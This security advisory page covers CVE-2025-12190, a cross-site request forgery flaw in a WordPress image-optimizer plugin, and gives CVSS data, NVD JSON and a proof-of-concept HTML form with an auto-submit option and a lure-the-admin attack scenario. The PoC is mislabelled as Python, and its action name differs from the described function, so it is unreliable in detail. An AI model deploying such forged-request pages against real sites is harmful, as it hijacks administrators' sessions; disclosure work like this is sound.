Security Vulnerability Report
中文
CVE-2025-12190 CVSS 4.3 MEDIUM

CVE-2025-12190

Published: 2025-12-05 06:16:07
Last Modified: 2026-04-15 00:35:42

Description

The Image Optimizer by wps.sk plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.0. This is due to missing or incorrect nonce validation on the imagopby_ajax_optimize_gallery() function. This makes it possible for unauthenticated attackers to trigger bulk optimization via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Image Optimizer by wps.sk plugin <= 1.2.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12190 --> <!-- Image Optimizer by wps.sk plugin CSRF vulnerability --> <!-- This PoC triggers bulk image optimization without admin consent --> <!DOCTYPE html> <html> <head> <title>CVE-2025-12190 CSRF PoC</title> </head> <body> <h1>CVE-2025-12190 CSRF Attack PoC</h1> <p>Click the button below to trigger the vulnerable function.</p> <!-- Auto-submit form targeting the vulnerable AJAX endpoint --> <form id="csrfForm" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="imagopby_optimize_gallery"> <input type="hidden" name="gallery_id" value="all"> <input type="hidden" name="optimization_level" value="full"> <button type="submit">Click Me</button> </form> <script> // Auto-submit on page load (for demonstration) // In real attack, this could be triggered by click or timer window.onload = function() { // Uncomment the line below for auto-submit // document.getElementById('csrfForm').submit(); console.log('CSRF PoC loaded. Submit form to trigger vulnerability.'); }; </script> </body> </html> <!-- Attack Scenario: 1. Attacker creates malicious page with this PoC 2. Lures WordPress admin to visit the page while logged in 3. Admin clicks button or script auto-submits form 4. Request sent to target site with admin's session cookies 5. imagopby_ajax_optimize_gallery() executes without nonce validation 6. Bulk image optimization triggered, consuming server resources Required Conditions: - Target site has Image Optimizer by wps.sk plugin <= 1.2.0 - Admin must be logged in when visiting the malicious page - Admin must click submit button (or be socially engineered) -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12190", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:06.740", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Image Optimizer by wps.sk plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.0. This is due to missing or incorrect nonce validation on the imagopby_ajax_optimize_gallery() function. This makes it possible for unauthenticated attackers to trigger bulk optimization via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/image-optimizer-wpssk/tags/1.2.0/image-optimizer-wpssk.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/image-optimizer-wpssk/tags/1.2.0/image-optimizer-wpssk.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d321183a-f0ef-4b5b-855a-da95edb610b9?source=cve", "source": "[email protected]"}]}}